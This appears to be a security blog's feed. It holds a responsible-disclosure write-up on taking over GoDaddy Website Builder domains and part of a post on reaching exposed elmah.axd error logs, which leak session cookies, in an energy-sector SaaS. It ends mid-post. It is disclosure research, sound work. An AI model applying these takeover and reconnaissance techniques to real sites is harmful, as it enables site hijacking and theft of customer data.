at java.base/sun.nio.ch.Net.checkAddress(Net.java:146)
at java.base/sun.nio.ch.Net.checkAddress(Net.java:157)
at java.base/sun.nio.ch.SocketChannelImpl.checkRemote(SocketChannelImpl.java:816)
at java.base/sun.nio.ch.SocketChannelImpl.connect(SocketChannelImpl.java:839)
at io.grpc.netty.shaded.io.netty.util.internal.SocketUtils$3.run(SocketUtils.java:91)
at io.grpc.netty.shaded.io.netty.util.internal.SocketUtils$3.run(SocketUtils.java:88)
at java.base/java.security.AccessController.doPrivileged(AccessController.java:569)
at io.grpc.netty.shaded.io.netty.util.internal.SocketUtils.connect(SocketUtils.java:88)
at io.grpc.netty.shaded.io.netty.channel.socket.nio.NioSocketChannel.doConnect(NioSocketChannel.java:322)
at io.grpc.netty.shaded.io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe.connect(AbstractNioChannel.java:248)
at io.grpc.netty.shaded.io.netty.channel.DefaultChannelPipeline$HeadContext.connect(DefaultChannelPipeline.java:1342)
at io.grpc.netty.shaded.io.netty.channel.AbstractChannelHandlerContext.invokeConnect(AbstractChannelHandlerContext.java:548)
at io.grpc.netty.shaded.io.netty.channel.AbstractChannelHandlerContext.connect(AbstractChannelHandlerContext.java:533)
at io.grpc.netty.shaded.io.netty.channel.ChannelDuplexHandler.connect(ChannelDuplexHandler.java:54)
at io.grpc.netty.shaded.io.grpc.netty.WriteBufferingAndExceptionHandler.connect(WriteBufferingAndExceptionHandler.java:157)
at io.grpc.netty.shaded.io.netty.channel.AbstractChannelHandlerContext.invokeConnect(AbstractChannelHandlerContext.java:548)
at io.grpc.netty.shaded.io.netty.channel.AbstractChannelHandlerContext.access$1000(AbstractChannelHandlerContext.java:61)
at io.grpc.netty.shaded.io.netty.channel.AbstractChannelHandlerContext$9.run(AbstractChannelHandlerContext.java:538)
at io.grpc.netty.shaded.io.netty.util.concurrent.AbstractEventExecutor.runTask(AbstractEventExecutor.java:174)
at io.grpc.netty.shaded.io.netty.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:167)
at io.grpc.netty.shaded.io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:470)
at io.grpc.netty.shaded.io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:503)
at io.grpc.netty.shaded.io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:995)
at io.grpc.netty.shaded.io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
at io.grpc.netty.shaded.io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
... 1 more
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When first encountering this exception, I initially thought it was due to maybe the Burp platform version being bundled with a newer version of JDK which in turn packages its own JRE. To test whether this was the issue, I re-created the project locally ensuring it is compiled using the same JDK version that the Burp platform is bundled with, and to my surprise, there was no error. I then tried using the Burp standalone jar with different Java versions and the same error kept occurring. Lastly, as a resort I decided to downgrade the dependency to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1.45.0&lt;/code&gt; and it worked without any issues.&lt;/p&gt;
</description>
        <pubDate>Sat, 30 Jul 2022 00:00:00 +0000</pubDate>
        <link>/2022/07/30/burp-extension-using-grpc/</link>
        <guid isPermaLink="true">/2022/07/30/burp-extension-using-grpc/</guid>
        
        <category>Research Development</category>
        
        
      </item>
    
      <item>
        <title>Hijacking Over 100k GoDaddy Websites</title>
        <description>&lt;h1 id=&quot;summary&quot;&gt;Summary&lt;/h1&gt;
&lt;p&gt;GoDaddy is a well-known domain registrar which also offers various complementary services such as hosting and website building. One service, in particular, is the &lt;a href=&quot;https://www.godaddy.com/en-uk/websites/website-builder&quot;&gt;Website Builder&lt;/a&gt; which allows anyone to build and publish a website regardless of their technical ability. As typical with these services, they allow custom domains to be configured with the website.&lt;/p&gt;

&lt;p&gt;Due to a misconfiguration, it was discovered that any domain hosting a website built using this service could be taken over. This required no prior knowledge about the victim nor any interaction, but rather publishing your website using the target’s domain name thus overwriting the existing configuration as there was no validation performed.&lt;/p&gt;

&lt;p&gt;Using various historical DNS data sources, it was roughly estimated that over 100,000 websites were susceptible to this vulnerability.&lt;/p&gt;

&lt;h1 id=&quot;impact&quot;&gt;Impact&lt;/h1&gt;
&lt;p&gt;The impact is pretty much identical to a typical subdomain takeover with some caveats as GoDaddy doesn’t appear to allow the user to access server-side logs. An attacker would still be able to take several different avenues:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Serving malicious Javascript which could be leveraged to access cookies scoped to the parent domain (however in this case only cookies missing the HttpOnly flag), bypassing CORS whitelisting, and much more.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Serving phishing content to visitors.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;deep-dive&quot;&gt;Deep Dive&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; &lt;em&gt;Anything mentioned in this section regarding how GoDaddy’s web hosting works under the hood is simply an assumption as GoDaddy did not share any information.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;When a website is published using the website builder, it is hosted using GoDaddy’s shared web-hosting service. Like typical shared web-hosting services, virtual hosting is used thus granting the ability for a single webserver to host multiple websites. In order to route the end-user to the correct website, the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Host&lt;/code&gt; header found in the HTTP request is used.&lt;/p&gt;

&lt;p&gt;One interesting thing that was discovered during the investigation process was that any IP Address belonging to the shared web hosting service could be used to serve the contents of any website built using the website builder.&lt;/p&gt;

&lt;p&gt;To help illustrate this fact, we can take an example subdomain such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shop.lumby.cyou&lt;/code&gt;. When resolving the subdomain, we see that it points to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;198.71.232.11&lt;/code&gt; which is one of the IP Addresses used by GoDaddy’s shared web hosting service.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;⇒ dig shop.lumby.cyou +short 
198.71.232.11
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, if we try accessing the site using a different IP Address used by GoDaddy’s shared web-hosting service such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;72.167.191.83&lt;/code&gt;, it is still able to serve the contents of our site despite it being a completely different web-server:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;⇒ curl 'http://72.167.191.83' -H 'Host: shop.lumby.cyou -is | head -n 10

HTTP/1.1 200 OK
&amp;lt;redacted for sake of brevity&amp;gt;
Cache-Control: max-age=30
Content-Security-Policy: frame-ancestors 'self' godaddy.com test-godaddy.com
dev-godaddy.com *.godaddy.com *.test-godaddy.com *.dev-godaddy.com
content-type: text/html;charset=utf-8
Vary: Accept-Encoding
Content-Encoding: raw
Server: DPS/1.13.2
X-SiteId: 1000
Set-Cookie: dps_site_id=1000; path=/
&amp;lt;redacted for sake of brevity&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This behavior itself is not strange but most likely done for a legitimate reason which is fault tolerance. The virtual hosting settings are replicated across each web server in case one goes down, another could act as a stand-in without risking the loss of customer’s data.&lt;/p&gt;

&lt;p&gt;The reason this behavior was mentioned will be circled back to at the end of this section as it was vital for widespread exploitation.&lt;/p&gt;

&lt;p&gt;Now to move onto the exploitation process.&lt;/p&gt;

&lt;p&gt;When connecting a custom domain to the website builder, there will be a prompt that will ask for the domain:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/godaddy/godaddy-1.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this stage an attacker would input a domain that is already pointing to GoDaddy’s shared web hosting services. If you’re wondering how an attacker would know which domains point to this service, it’s fairly simple. An attacker could go through this flow using a legitimate domain and on the next prompt, GoDaddy will provide the IP Address for which the DNS Record needs to be set to:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/godaddy/godaddy-2.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The attacker could repeat this flow a few times and eventually end up with a list of IP Addresses. This list could then be cross-referenced against various passive DNS resources to eventually end up with a catalog of domains.&lt;/p&gt;

&lt;p&gt;Finally, after clicking through a few confirmation prompts, the attacker can visit the victim’s domain and observe that instead of the victim’s website being served, it is in fact the attacker’s.&lt;/p&gt;

&lt;p&gt;An inadvertent side-effect was also discovered, if the attacker disconnects the victim’s domain from the attacker’s site after connecting it, the victim’s domain will enter a ‘nulled’ state as it appears the virtual hosting settings were overwritten and thus won’t serve their original website. To fix this, the victim will need to re-connect their domain or reach out to GoDaddy for further assistance.&lt;/p&gt;

&lt;p&gt;Lastly, to conclude this section, we mentioned earlier that it was interesting that GoDaddy replicates the virtual hosting settings across all the webservers. This behavior is what allowed this misconfiguration to be so widespread. In the case where the replication behavior didn’t occur, an attacker would only be able to target domains that were hosted on the same shared web hosting server. While this itself wouldn’t be enough to stop an attacker from wreaking havoc, it wouldn’t have made it as easy as it was to target practically any domain using GoDaddy’s shared web hosting.&lt;/p&gt;

&lt;p&gt;To see this in action, please watch the following proof of concept video. The left browser is the victim, while the right is simulating the attacker.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/1vd029qPskbZAZZTe-sO3QU7Ic7GSA-Cw/view&quot; title=&quot;GoDaddy Takeover PoC&quot;&gt;&lt;img src=&quot;https://res.cloudinary.com/marcomontalbano/image/upload/v1653519639/video_to_markdown/images/google-drive--1vd029qPskbZAZZTe-sO3QU7Ic7GSA-Cw-c05b58ac6eb4c4700831b2b3070cd403.jpg&quot; alt=&quot;GoDaddy Takeover PoC&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;credits&quot;&gt;Credits&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/jcran&quot;&gt;Jonathan Cran&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://twitter.com/shpendk&quot;&gt;Shpend Kurtishaj&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/m-q-t&quot;&gt;Maxim Gofnung&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;timeline&quot;&gt;Timeline&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;17/03/2022&lt;/strong&gt; - Vulnerability discovered and report is submitted to GoDaddy’s Vulnerability Disclosure Program.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;18/03/2022&lt;/strong&gt; - GoDaddy confirms they received the vulnerability and are investigating.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;30/03/2022&lt;/strong&gt; - GoDaddy verifies that the vulnerability has been patched.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Wed, 25 May 2022 00:00:00 +0000</pubDate>
        <link>/2022/05/25/hijacking-over-100k-godaddy-websites/</link>
        <guid isPermaLink="true">/2022/05/25/hijacking-over-100k-godaddy-websites/</guid>
        
        <category>Research</category>
        
        
      </item>
    
      <item>
        <title>7-Peat - Hacking 7 Power Companies</title>
        <description>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;This blog post will demonstrate how a low-hanging fruit discovered in a relatively unknown SaaS application used mainly by energy companies allowed an attacker to bypass the authentication and access sensitive (customer) data. Along with describing the attack itself, a few other points will be discussed regarding the challenges large organizations face within application security.&lt;/p&gt;

&lt;h2 id=&quot;motivation&quot;&gt;Motivation&lt;/h2&gt;

&lt;p&gt;Working application security at a large organization I’ve witnessed several challenges that many organizations face. With hundreds or even thousands of applications, it becomes daunting to not only keep track of which applications are exposed on the internet (looking at you Shadow-It) but also ranking the applications in a way that will prioritize the ones warranting a pentest. Regarding the first point about internet exposure, this led to the birth of the Attack Surface Management (ASM) market. A new mantra has been adopted by several of these ASM companies which essentially is “What you can’t see, can hurt you”.&lt;/p&gt;

&lt;p&gt;Furthermore, with the rapid advancement in DevSecOps processes and tools, more and more low-hanging fruits are caught and mitigated during the development life cycle. As such when developing in-house applications, you have the ability to see the DevSecOps processes which are implemented and make any alterations that you see fit. However this now completely changes when purchasing software from a third-party vendor. As you lack the visibility on how the security phase within the vendor’s development lifecycle operates, you are only left with the choice of hoping it’s done correctly, let alone if it’s done at all.&lt;/p&gt;

&lt;p&gt;As such several mature security teams have adopted a third-party risk management program (TPRM) which performs risk assessments and even pentests in some cases on vendor software. Because both manpower and time are finite resources, it becomes a challenge to prioritize these assessments and in the majority of cases software, particularly scanners are leveraged to perform the job. It has been pointed out several times in the past, vulnerability scanners are not a one-size-fits-all approach. If anything, a vulnerability scanner shouldn’t be finding anything if the DevSecOps pipeline is properly implemented.&lt;/p&gt;

&lt;p&gt;As mentioned earlier, one of the challenges is developing a methodology to rank applications based on some index that will prioritize the ones that will warrant a pentest. From a quick overlook, it’s quite obvious that this specific index would be the risk the application poses. As such the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DREAD&lt;/code&gt; &amp;amp; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;STRIDE&lt;/code&gt; threat modeling methodologies have been introduced. An example of this could be comparing two applications where one is dynamic, accessing sensitive data, and all in all, possessing a far bigger attack surface when compared to an application that just has a static page displaying the organization’s stock prices fetched from a third-party API. Based on this example it’s obvious that the first application would rank higher based on risk. While the comparison in the last example was obvious, it becomes exponentially harder the larger the organization and the more applications it has. Two main challenges specifically stem from this; first, several factors will come into play an example being environmental factors (is the application exposed to the internet?) while the second challenge is the amount of labor that will need to be exerted to track down every application the organization is supporting (whether first/third party) and meet with the associated team that’s managing it. Meeting with the responsible teams has its own set of challenges particularly some being that the requirements document has been lost, some features have been understated while others having been exaggerated…&lt;/p&gt;

&lt;p&gt;To combat some of the points discussed above, my team has been experimenting with various workflows. One of the workflows that we have found that currently works best is using software to map out the attack surface and then using the human approach to quickly categorize the risk the application poses. To map out the public attack surface, we have been leveraging the power of the &lt;a href=&quot;https://github.com/intrigueio/intrigue-core&quot;&gt;Intrigue Core Engine&lt;/a&gt;.  The Core Engine is a powerful beast as it will utilize different techniques to best map out the attack surface while also providing software fingerprints due in part to the robust application and service fingerprinting library known as &lt;a href=&quot;https://github.com/intrigueio/intrigue-ident&quot;&gt;Intrigue Ident&lt;/a&gt;. By fingerprinting the software, the Core Engine is then able to perform inferential vulnerability and misconfiguration checks based on the fingerprint returned by the software. This approach is stellar as it saves both time and tripping any wires that may alert the SOC team when compared to spraying and praying exploits. Throughout solidifying this workflow we have discovered several cues which help us to quickly categorize whether an application is worth further exploring or put it on the backburner.&lt;/p&gt;

&lt;p&gt;Examples of such cues can include:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Please keep in mind that all the cues described below are accounting for the fact that the application is exposed to the Internet. While it is true that internal applications possess a risk, an attacker would require access by other means most likely by leveraging some form of exploitation in an exposed asset thus increasing the complexity required to exploit internal applications.&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Whether or not the application is behind a login panel. If so, this may mean that the application possesses some form of information that requires an authorized party to view and at the very least has some form of attack surface with services talking to another one another (e.g DBMS, etc.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;If the software is provided by a third party and by which third party. This is a bit more subjective, however, if it’s a reputable vendor that’s known to take security seriously (such as by managing a bug bounty program, etc) there’s more confidence that it poses less risk compared to a smaller less reputable company.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using these points along with the workflow described earlier is how the finding which will be described in the next section was discovered.&lt;/p&gt;

&lt;h2 id=&quot;finding&quot;&gt;Finding&lt;/h2&gt;

&lt;p&gt;As mentioned, our organization runs a scan using Intrigue Core on a weekly basis. When reviewing the results, it was noticed that an asset that had an “Exposed Login Panel” was detected. While this by itself is not a vulnerability however citing the cues listed earlier, this did check off the two boxes (being exposed to the public + having a login panel). As this was discovered on a Friday afternoon right before a three-day weekend, chasing down the team responsible for managing this application would have been out of the question.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/eecp/intrigue-scan.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To provide some context regarding the application to make the rest of this section easier to understand. The application which will be shown is known as the EECP aka Energy Efficiency Collaboration Platform. This application is developed and managed by &lt;a href=&quot;https://directtechnology.com/&quot;&gt;DirectTechnology&lt;/a&gt;. The premise behind the application is to provide energy companies a ‘platform’ in which they could collaborate with independent local contractors that will be contracted out to perform essential maintenance tasks for the energy company’s customers. Within this platform, the contractor is provided an account where they can be assigned jobs and have the ability to create invoices that will be charged to the energy company. Furthermore anytime a job is performed for a customer, the customer’s information is saved to the platform. This information will include the customer’s personal information such as their full name, address, email, account number, etc. However, it may also include more detailed information about the customer’s residence such as the type of stove they have (gas/electrical).&lt;/p&gt;

&lt;p&gt;Poking around on the application, firing a request to any arbitrary path would have the application respond with a redirect bouncing the user back to the login panel. Some paths such as the directories which held static files were not redirected however, they did not yield any fruitful results. Eventually while iterating through wordlists, a directory was discovered that would not be met with a redirect which was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/onlineapp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/eecp/compatibility.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As shown in the screenshot above, the response would return a page that contained the following text:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Please check that compatibility mode has not been enabled.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;At first thinking this was referring to Internet Explorer’s compatibility mode, Internet Explorer was used to browse to the path and the same result was returned.&lt;/p&gt;

&lt;p&gt;Additional directory bruteforcing returned that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;home&lt;/code&gt; was a valid route. Browsing to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/onlineapp/home&lt;/code&gt; now instead returned:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/eecp/home.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With a different response returned, the page was examined more closely and it was discovered that it was sourcing a fair amount of Javascript. This was done by viewing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Sources&lt;/code&gt; in the Chrome DevTools:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/eecp/sources.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There were your typical third-party dependencies such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select.js&lt;/code&gt; however there were more scripts that appeared to be proprietary to the application. Further examining these scripts it was revealed that the application’s frontend is powered by &lt;a href=&quot;https://knockoutjs.com/&quot;&gt;Knockout.js&lt;/a&gt; which is a framework that promotes the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Model-View-ViewModel pattern&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The Javascript was then dug through to find any endpoints to yield a larger attack surface. Especially as it was seen that the application was frontend heavy there was hope that maybe a route can be found that would return information about a program. After further investigation, there were several variations of endpoints being invoked by the Javascript found. These included your typical AJAX calls, either directly or the route being passed to a function that would fire off the request.&lt;/p&gt;

&lt;p&gt;Furthermore what was more interesting is that a lot of these routes started with anchor &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#&lt;/code&gt; tags meaning they would not reach the server-side but rather intended for the frontend as the client-side router would pick it up.&lt;/p&gt;

&lt;p&gt;Here is an example of a snippet:&lt;/p&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;currentlocation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;workflowstep&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;currentlocation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;etoken&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;currentlocation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;statuscheck&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;targetUrl&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;#status/statuscheck?programId=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;AppState&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;programId&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;targetUrl&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;#enrollment/?programId=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;AppState&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;programId&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Writing a quick Go script that would parse all the Javascript looking for matches that followed the pattern &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#anchor/path/&lt;/code&gt; yielded the following results:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#status/statuscheck?programId=
#enrollment/?programId=
#enrollment/default?programId=
#enrollment/customerinformation?programId=
#workflowstep/installationresults?programId=
#enrollment/customerinformation?programId=
#workflowstep/installationresults?programId=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Attempting to load the first route, this resulted in the frontend making a request to load the content of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/onlineapp/Content/ui/en-us/status/_master.htm?_=1632279783447&lt;/code&gt; as it was shown in the Network tab of the Chrome DevTools.&lt;/p&gt;

&lt;p&gt;For the sake of brevity purposes, the static page which was loaded had its own Javascript embedded which was invoking an additional API call to a route that would return whether a Program ID was valid or not. By examining the Javascript and constructing a valid API call, valid Program Ids were then discovered as they followed a sequential order. Using these Program Ids and additional routes discovered in the application, it was possible to leak the name of employees and contractors. Information such as the employee’s name, email, title, and phone number were discovered however after speaking with the vendor they confirmed that this was intended as the application administrator can toggle a feature that would disable this information from being returned. However, due to this being intended, this will not be explored within this post.&lt;/p&gt;

&lt;p&gt;With the knowledge of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/onlineapp/Content/ui/en-us/status&lt;/code&gt; directory, a quick directory bruteforce was ran using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;quickhits.txt&lt;/code&gt; wordlist which returned a surprising finding…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note: This path could have been discovered by recursive directory bruteforcing. However, the sections regarding the Javascript were included to show how it was originally discovered&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;-
elmah.axd               [Status: 200, Size: 31290, Words: 1398, Lines: 529]
-
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elmah.axd&lt;/code&gt; returned a 200 valid status code. At first, it was thought that this may be the result of some WAF however when browsing to the path, the following was shown:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/eecp/elmah.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elmah.axd&lt;/code&gt; is essentially &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trace.axd's&lt;/code&gt; younger sibling. Unlike &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trace.axd&lt;/code&gt; which logs every request made to the application, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elmah.axd&lt;/code&gt; only logs those which cause the application to throw an error. However just like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trace.axd&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elmah.axd&lt;/code&gt; logs the raw HTTP request which includes any session cookies. Both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trace.axd&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elmah.axd&lt;/code&gt; are used for debugging &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ASP.NET&lt;/code&gt; applications. The interesting thing behind both is that remote access is disabled by default meaning that to view the logs you would need to be connecting from the local IP Address. To read more about how security works within &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elmah&lt;/code&gt;, check out this great &lt;a href=&quot;https://elmah.github.io/a/securing-error-log-pages/&quot;&gt;resource&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A snippet that displays helpful debugging information about the application including the contents of the HTTP request:
&lt;img src=&quot;/images/posts/2020/eecp/debugging.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

